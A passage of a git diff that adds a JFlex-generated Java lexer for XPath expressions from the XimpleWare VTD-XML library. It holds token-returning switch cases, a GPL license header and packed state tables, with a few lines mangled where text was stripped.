sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 121: break; + case 92: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = null; + //System.out.println(" !!!!!!!!!!!argument "); + return sym(NTEST,ntest); + } + case 122: break; + case 39: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.TRUE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 123: break; + case 28: + { isName = 0; + len = yytext().length(); + name = new NameType(); + if (!XMLChar.isNCNameStartChar(yytext().charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.SELF; + //System.out.println("SELF:: returned"); + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 125: break; + case 77: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.RESOLVE_QNAME; + fname = new FuncName(); + fname.i = FuncName.RESOLVE_QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 126: break; + case 48: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.NUMBER; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 127: break; + case 36: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAME; + fname = new FuncName(); + fname.i = FuncName.NAME; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 128: break; + case 67: + { if (!strict || (strict && (depth >0))){ isName =1; + at = new AxisType(); + at.i = AxisType.NAMESPACE; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 129: break; + case 40: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.NODE; + ntest.arg = null; + return sym(NTEST,ntest); + } + case 130: break; + case 88: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING_SIBLING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 131: break; + case 73: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 132: break; + case 47: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.QNAME; + fname = new FuncName(); + fname.i = FuncName.QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 133: break; + case 23: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(LE);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 134: break; + case 59: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.COMMENT; + ntest.arg = null; + return sym(NTEST,ntest); + } + case 135: break; + case 38: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + fname = new FuncName(); + fname.i = FuncName.LAST; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 136: break; + case 41: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.ROUND; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 137: break; + case 74: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STARTS_WITH; + fname = new FuncName(); + fname.i = FuncName.STARTS_WITH; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 138: break; + case 1: + { isName = 0; + name = new NameType(); + //name.qname = new String(yytext()); + //System.out.println("returned a NAME ==>" + yytext()); + //if (yytext().charAt(0) =='-'){ + // throw new XPathParseException("Invalid char in name token:"+yytext()); + //} + + name.qname = new String(yytext()); + if (!XMLChar.isNCNameStartChar(name.qname.charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENDS_WITH; + fname = new FuncName(); + fname.i = FuncName.ENDS_WITH; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 140: break; + case 68: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 141: break; + case 86: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_EVEN; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_EVEN; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 142: break; + case 4: + { throw new XPathParseException("Invalid char in XPath Expression"); + } + case 143: break; + case 84: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR_OR_SELF; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 144: break; + case 27: + { isName = 0; + len = yytext().length(); + literal = yytext().substring(1, len-1); + return sym(LITERAL,literal); + } + case 145: break; + case 22: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(GE);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 146: break; + case 19: + { isName = 1 ; + //System.out.println("SLASH returned "); + return sym(SLASH); + } + case 147: break; + case 57: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.DOCUMENT; + return sym(FNAME2,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 148: break; + case 80: + { if (!strict || (strict && (depth >0))){ isName =1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NORMALIZE_SPACE; + fname = new FuncName(); + fname.i = FuncName.NORMALIZE_SPACE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 149: break; + case 25: + { isName = 1 ; + //System.out.println("DSLASH returned "); + return sym(DSLASH); + } + case 150: break; + case 12: + { isName = 1 ; /*System.out.println( "[ returned");*/ depth++;return sym(LB); + } + case 151: break; + case 53: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COMPARE; + fname = new FuncName(); + fname.i = FuncName.COMPARE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 152: break; + case 21: + { if (!strict || (strict && (depth >0))){isName = 0 ; return sym(DDOT);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 153: break; + case 17: + { if (!strict || (strict && (depth >0))){ isName = 1; return sym(DOLLAR);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 154: break; + case 89: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT_OR_SELF; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 155: break; + case 58: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.POSITION; + fname = new FuncName(); + fname.i = FuncName.POSITION; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 156: break; + case 10: + { isName = 1 ; return sym(LP); + } + case 157: break; + case 56: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.BOOLEAN; + fname = new FuncName(); + fname.i = FuncName.BOOLEAN; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 158: break; + case 82: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ESCAPE_HTML_URI; + fname = new FuncName(); + fname.i = FuncName.ESCAPE_HTML_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 159: break; + case 29: + { if (!strict || (strict && (depth >0))){ + if (isName == 0 ) { + isName = 1 ; + return sym(DIV); + } else { + isName = 0; + name = new NameType(); + name.qname = "div"; + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 160: break; + case 7: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(ADD); + }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 161: break; + case 85: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_ODD; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_ODD; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 162: break; + case 37: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.LANG; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 163: break; + case 51: + { isName = 1; + at = new AxisType(); + at.i = AxisType.CHILD; + return sym(AXISNAME,at); + } + case 164: break; + case 35: + { isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.KEY; + return sym(FNAME2,fname); + } + case 165: break; + case 90: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 166: break; + case 50: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONCAT; + fname = new FuncName(); + fname.i = FuncName.CONCAT; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 167: break; + case 72: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 168: break; + case 71: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.UPPER_CASE; + fname = new FuncName(); + fname.i = FuncName.UPPER_CASE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 169: break; + case 14: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(GT);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 170: break; + case 43: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.TEXT; + ntest.arg = null; + return sym(NTEST,ntest); + } + case 171: break; + case 63: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRANSLATE; + fname = new FuncName(); + fname.i = FuncName.TRANSLATE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 172: break; + case 95: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('"',yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + case 173: break; + case 94: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 174: break; + case 45: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.FALSE; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 175: break; + case 2: + { /* eat white space */ + } + case 176: break; + case 5: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(SUB); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 177: break; + case 65: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.IRI_TO_URI; + fname = new FuncName(); + fname.i = FuncName.IRI_TO_URI; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 178: break; + case 24: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(NE);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 179: break; + case 16: + { if (!strict || (strict && (depth >0))){ isName = 1 ; return sym(EQ);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 180: break; + case 34: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.SUM; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 181: break; + case 3: + { if (!strict || (strict && (depth >0))){ isName = 0; + number = new Double(yytext()); + //System.out.println("number returned ==> "+ Double.parseDouble(yytext())); + return sym(NUMBER,number);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 182: break; + case 26: + { if (!strict || (strict && (depth >0))){ + if (isName == 0) { + isName = 1 ; + return sym(OR); + } else { + isName = 0; + name = new NameType(); + name.qname = "or"; + return sym(NAME,name); + }}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 183: break; + case 96: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('\'', yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + case 184: break; + case 55: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + + fname = new FuncName(); + fname.i = FuncName.CEILING; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 185: break; + case 13: + { isName = 0 ; depth--; return sym(RB); + } + case 186: break; + case 69: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOWER_CASE; + fname = new FuncName(); + fname.i = FuncName.LOWER_CASE; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 187: break; + case 93: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 188: break; + case 61: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 189: break; + case 66: + { if (!strict || (strict && (depth >0))){ isName = 1; + at = new AxisType(); + at.i = AxisType.ATTRIBUTE; + return sym(AXISNAME,at);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 190: break; + case 91: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CODE_POINTS_TO_STRING; + fname = new FuncName(); + fname.i = FuncName.CODE_POINTS_TO_STRING; + return sym(FNAME,fname);}else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 191: break; + case 49: + { if (!strict || (strict && (depth >0))){ isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING; + fname = new FuncName(); + fname.i = FuncName.STRING; + return sym(FNAME,fname); }else + throw new XPathParseException(yytext()+" can't appear in a template pattern"); + } + case 192: break; + default: + if (zzInput == YYEOF && zzStartRead == zzCurrentPos) { + zzAtEOF = true; + zzDoEOF(); + { return new java_cup.runtime.Symbol(sym.EOF); } + } + else { + zzScanError(ZZ_NO_MATCH); + } + } + } + } + + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/Yylex.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/Yylex.java new file mode 100644 index 0000000..69c040c --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/Yylex.java @@ -0,0 +1,2260 @@ +/* The following code was generated by JFlex 1.4.3 on 10/29/09 7:28 PM */ + +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + + +package com.ximpleware.xpath; +import java_cup.runtime.Symbol; +import com.ximpleware.parser.*; +import com.ximpleware.*; + + +/** + * This class is a scanner generated by + * JFlex 1.4.3 + * on 10/29/09 7:28 PM from the specification file + * C:/Documents and Settings/HP_Administrator/workspace/ximple-dev/com/ximpleware/xpath/scanner.flex + */ +class Yylex extends sym implements java_cup.runtime.Scanner { + + /** This character denotes the end of file */ + public static final int YYEOF = -1; + + /** initial size of the lookahead buffer */ + private static final int ZZ_BUFFERSIZE = 16384; + + /** lexical states */ + public static final int YYINITIAL = 0; + + /** + * ZZ_LEXSTATE[l] is the state in the DFA for the lexical state l + * ZZ_LEXSTATE[l+1] is the state in the DFA for the lexical state l + * at the beginning of a line + * l is of the form l = 2*k, k a non negative integer + */ + private static final int ZZ_LEXSTATE[] = { + 0, 0 + }; + + /** + * Translates characters to character classes + */ + private static final String ZZ_CMAP_PACKED = + "\11\0\1\1\1\1\2\0\1\1\22\0\1\1\1\20\1\55\1\0"+ + "\1\21\1\0\1\0\1\56\1\11\1\12\1\22\1\6\1\10\1\4"+ + "\1\5\1\23\12\2\1\3\1\0\1\16\1\17\1\15\1\0\1\7"+ + "\15\0\1\53\2\0\1\52\11\0\1\13\1\0\1\14\1\0\1\0"+ + "\1\0\1\31\1\47\1\41\1\24\1\43\1\50\1\44\1\46\1\25"+ + "\2\0\1\35\1\27\1\32\1\30\1\40\1\0\1\33\1\36\1\37"+ + "\1\42\1\26\1\45\1\54\1\0\1\51\1\0\1\34\uff83\0"; + + /** + * Translates characters to character classes + */ + private static final char [] ZZ_CMAP = zzUnpackCMap(ZZ_CMAP_PACKED); + + /** + * Translates DFA states to action switch labels. + */ + private static final int [] ZZ_ACTION = zzUnpackAction(); + + private static final String ZZ_ACTION_PACKED_0 = + "\1\0\1\1\1\2\1\3\1\4\1\5\1\6\1\7"+ + "\1\10\1\11\1\12\1\13\1\14\1\15\1\16\1\17"+ + "\1\20\1\4\1\21\1\22\1\23\7\1\1\24\12\1"+ + "\2\4\1\0\2\3\1\25\1\26\1\27\1\30\1\31"+ + "\4\1\1\32\35\1\1\0\1\33\1\0\1\1\1\34"+ + "\1\35\2\1\1\36\1\37\55\1\1\0\1\40\2\1"+ + "\1\0\1\41\12\1\1\0\1\42\36\1\2\0\1\1"+ + "\1\0\1\43\6\1\1\0\1\44\1\0\1\45\3\1"+ + "\2\0\1\1\1\0\1\46\2\0\31\1\1\47\3\1"+ + "\1\0\1\1\1\50\6\1\1\0\1\51\1\1\1\52"+ + "\11\1\1\0\1\53\1\1\2\0\6\1\1\0\1\54"+ + "\1\0\1\55\1\0\1\56\6\1\1\0\1\57\5\1"+ + "\1\0\1\1\1\60\3\1\2\0\6\1\1\0\1\61"+ + "\1\1\1\0\1\62\25\1\1\0\1\63\3\1\3\0"+ + "\1\64\1\1\1\0\1\65\4\1\1\0\1\66\3\1"+ + "\2\0\14\1\1\0\1\67\3\1\1\70\1\0\1\71"+ + "\7\1\1\0\1\72\1\1\2\0\1\1\2\0\7\1"+ + "\1\0\1\1\1\73\1\0\1\74\1\1\2\0\3\1"+ + "\1\0\1\75\2\1\2\0\1\1\2\0\1\1\1\0"+ + "\1\76\1\1\1\0\1\77\1\1\1\0\1\100\3\1"+ + "\1\0\1\1\1\101\1\0\1\102\5\1\1\0\1\103"+ + "\2\1\1\0\1\104\2\1\1\0\1\105\1\1\1\0"+ + "\1\106\7\1\1\0\1\107\34\1\1\0\1\1\1\110"+ + "\1\1\1\0\1\111\1\1\1\0\1\112\24\1\1\0"+ + "\1\113\4\1\1\0\1\114\5\1\1\0\1\115\4\1"+ + "\1\0\1\116\2\1\2\0\5\1\1\0\1\117\5\1"+ + "\1\0\1\120\2\1\1\0\1\121\3\1\2\0\1\1"+ + "\4\0\2\1\1\0\1\122\2\1\1\0\1\123\1\1"+ + "\1\0\1\124\1\0\1\125\14\1\1\0\1\126\1\1"+ + "\1\0\1\127\2\1\2\0\2\1\1\130\3\0\1\131"+ + "\1\0\1\132\2\0\1\133\1\134"; + + private static int [] zzUnpackAction() { + int [] result = new int[618]; + int offset = 0; + offset = zzUnpackAction(ZZ_ACTION_PACKED_0, offset, result); + return result; + } + + private static int zzUnpackAction(String packed, int offset, int [] result) { + int i = 0; /* index in packed string */ + int j = offset; /* index in unpacked array */ + int l = packed.length(); + while (i < l) { + int count = packed.charAt(i++); + int value = packed.charAt(i++); + do result[j++] = value; while (--count > 0); + } + return j; + } + + + /** + * Translates a state to a row index in the transition table + */ + private static final int [] ZZ_ROWMAP = zzUnpackRowMap(); + + private static final String ZZ_ROWMAP_PACKED_0 = + "\0\0\0\57\0\136\0\215\0\274\0\274\0\353\0\274"+ + "\0\274\0\274\0\274\0\274\0\274\0\274\0\u011a\0\u0149"+ + "\0\274\0\u0178\0\274\0\274\0\u01a7\0\u01d6\0\u0205\0\u0234"+ + "\0\u0263\0\u0292\0\u02c1\0\u02f0\0\274\0\u031f\0\u034e\0\u037d"+ + "\0\u03ac\0\u03db\0\u040a\0\u0439\0\u0468\0\u0497\0\u04c6\0\u04f5"+ + "\0\u0524\0\u0553\0\u0582\0\u05b1\0\57\0\274\0\274\0\274"+ + "\0\274\0\u05e0\0\u060f\0\u063e\0\u066d\0\57\0\u069c\0\u06cb"+ + "\0\u06fa\0\u0729\0\u0758\0\u0787\0\u07b6\0\u07e5\0\u0814\0\u0843"+ + "\0\u0872\0\u08a1\0\u08d0\0\u08ff\0\u092e\0\u095d\0\u098c\0\u09bb"+ + "\0\u09ea\0\u0a19\0\u0a48\0\u0a77\0\u0aa6\0\u0ad5\0\u0b04\0\u0b33"+ + "\0\u0b62\0\u0b91\0\u0bc0\0\u04f5\0\274\0\u0524\0\u0bef\0\274"+ + "\0\57\0\u0c1e\0\u0c4d\0\57\0\57\0\u0c7c\0\u0cab\0\u0cda"+ + "\0\u0d09\0\u0d38\0\u0d67\0\u0d96\0\u0dc5\0\u0df4\0\u0e23\0\u0e52"+ + "\0\u0e81\0\u0eb0\0\u0edf\0\u0f0e\0\u0f3d\0\u0f6c\0\u0f9b\0\u0fca"+ + "\0\u0ff9\0\u1028\0\u1057\0\u1086\0\u10b5\0\u10e4\0\u1113\0\u1142"+ + "\0\u1171\0\u11a0\0\u11cf\0\u11fe\0\u122d\0\u125c\0\u128b\0\u12ba"+ + "\0\u12e9\0\u1318\0\u1347\0\u1376\0\u13a5\0\u13d4\0\u1403\0\u1432"+ + "\0\u1461\0\u1490\0\u14bf\0\274\0\u14ee\0\u151d\0\u154c\0\274"+ + "\0\u157b\0\u15aa\0\u15d9\0\u1608\0\u1637\0\u1666\0\u1695\0\u16c4"+ + "\0\u16f3\0\u1722\0\u1751\0\274\0\u1780\0\u17af\0\u17de\0\u180d"+ + "\0\u183c\0\u186b\0\u189a\0\u18c9\0\u18f8\0\u1927\0\u1956\0\u1985"+ + "\0\u19b4\0\u19e3\0\u1a12\0\u1a41\0\u1a70\0\u1a9f\0\u1ace\0\u1afd"+ + "\0\u1b2c\0\u1b5b\0\u1b8a\0\u1bb9\0\u1be8\0\u1c17\0\u1c46\0\u1c75"+ + "\0\u1ca4\0\u1cd3\0\u1d02\0\u1d31\0\u1d60\0\u1d8f\0\274\0\u1dbe"+ + "\0\u1ded\0\u1e1c\0\u1e4b\0\u1e7a\0\u1ea9\0\u1ed8\0\274\0\u1f07"+ + "\0\274\0\u1f36\0\u1f65\0\u1f94\0\u1fc3\0\u1ff2\0\u2021\0\u2050"+ + "\0\274\0\u207f\0\u20ae\0\u20dd\0\u210c\0\u213b\0\u216a\0\u2199"+ + "\0\u21c8\0\u21f7\0\u2226\0\u2255\0\u2284\0\u22b3\0\u22e2\0\u2311"+ + "\0\u2340\0\u236f\0\u239e\0\u23cd\0\u23fc\0\u242b\0\u245a\0\u2489"+ + "\0\u24b8\0\u24e7\0\u2516\0\u2545\0\274\0\u2574\0\u25a3\0\u25d2"+ + "\0\u2601\0\u2630\0\274\0\u265f\0\u268e\0\u26bd\0\u26ec\0\u271b"+ + "\0\u274a\0\u2779\0\274\0\u27a8\0\274\0\u27d7\0\u2806\0\u2835"+ + "\0\u2864\0\u2893\0\u28c2\0\u28f1\0\u2920\0\u294f\0\u297e\0\274"+ + "\0\u29ad\0\u29dc\0\u2a0b\0\u2a3a\0\u2a69\0\u2a98\0\u2ac7\0\u2af6"+ + "\0\u2b25\0\u2b54\0\274\0\u2b83\0\274\0\u2bb2\0\274\0\u2be1"+ + "\0\u2c10\0\u2c3f\0\u2c6e\0\u2c9d\0\u2ccc\0\u2cfb\0\274\0\u2d2a"+ + "\0\u2d59\0\u2d88\0\u2db7\0\u2de6\0\u2e15\0\u2e44\0\274\0\u2e73"+ + "\0\u2ea2\0\u2ed1\0\u2f00\0\u2f2f\0\u2f5e\0\u2f8d\0\u2fbc\0\u2feb"+ + "\0\u301a\0\u3049\0\u3078\0\274\0\u30a7\0\u30d6\0\274\0\u3105"+ + "\0\u3134\0\u3163\0\u3192\0\u31c1\0\u31f0\0\u321f\0\u324e\0\u327d"+ + "\0\u32ac\0\u32db\0\u330a\0\u3339\0\u3368\0\u3397\0\u33c6\0\u33f5"+ + "\0\u3424\0\u3453\0\u3482\0\u34b1\0\u34e0\0\274\0\u350f\0\u353e"+ + "\0\u356d\0\u359c\0\u35cb\0\u35fa\0\274\0\u3629\0\u3658\0\274"+ + "\0\u3687\0\u36b6\0\u36e5\0\u3714\0\u3743\0\274\0\u3772\0\u37a1"+ + "\0\u37d0\0\u37ff\0\u382e\0\u385d\0\u388c\0\u38bb\0\u38ea\0\u3919"+ + "\0\u3948\0\u3977\0\u39a6\0\u39d5\0\u3a04\0\u3a33\0\u3a62\0\u3a91"+ + "\0\274\0\u3ac0\0\u3aef\0\u3b1e\0\274\0\u3b4d\0\274\0\u3b7c"+ + "\0\u3bab\0\u3bda\0\u3c09\0\u3c38\0\u3c67\0\u3c96\0\u3cc5\0\274"+ + "\0\u3cf4\0\u3d23\0\u3d52\0\u3d81\0\u3db0\0\u3ddf\0\u3e0e\0\u3e3d"+ + "\0\u3e6c\0\u3e9b\0\u3eca\0\u3ef9\0\u3f28\0\u3f57\0\u3f86\0\274"+ + "\0\u3fb5\0\274\0\u3fe4\0\u4013\0\u4042\0\u4071\0\u40a0\0\u40cf"+ + "\0\u40fe\0\274\0\u412d\0\u415c\0\u418b\0\u41ba\0\u41e9\0\u4218"+ + "\0\u4247\0\u4276\0\u42a5\0\274\0\u42d4\0\u4303\0\274\0\u4332"+ + "\0\u4361\0\274\0\u4390\0\u43bf\0\u43ee\0\u441d\0\u444c\0\274"+ + "\0\u447b\0\274\0\u44aa\0\u44d9\0\u4508\0\u4537\0\u4566\0\u4595"+ + "\0\274\0\u45c4\0\u45f3\0\u4622\0\274\0\u4651\0\u4680\0\u46af"+ + "\0\274\0\u46de\0\u470d\0\274\0\u473c\0\u476b\0\u479a\0\u47c9"+ + "\0\u47f8\0\u4827\0\u4856\0\u4885\0\274\0\u48b4\0\u48e3\0\u4912"+ + "\0\u4941\0\u4970\0\u499f\0\u49ce\0\u49fd\0\u4a2c\0\u4a5b\0\u4a8a"+ + "\0\u4ab9\0\u4ae8\0\u4b17\0\u4b46\0\u4b75\0\u4ba4\0\u4bd3\0\u4c02"+ + "\0\u4c31\0\u4c60\0\u4c8f\0\u4cbe\0\u4ced\0\u4d1c\0\u4d4b\0\u4d7a"+ + "\0\u4da9\0\u4dd8\0\u4e07\0\274\0\u4e36\0\u4e65\0\274\0\u4e94"+ + "\0\u4ec3\0\274\0\u4ef2\0\u4f21\0\u4f50\0\u4f7f\0\u4fae\0\u4fdd"+ + "\0\u500c\0\u503b\0\u506a\0\u5099\0\u50c8\0\u50f7\0\u5126\0\u5155"+ + "\0\u5184\0\u51b3\0\u51e2\0\u5211\0\u5240\0\u526f\0\u529e\0\274"+ + "\0\u52cd\0\u52fc\0\u532b\0\u535a\0\u5389\0\274\0\u53b8\0\u53e7"+ + "\0\u5416\0\u5445\0\u5474\0\u54a3\0\274\0\u54d2\0\u5501\0\u5530"+ + 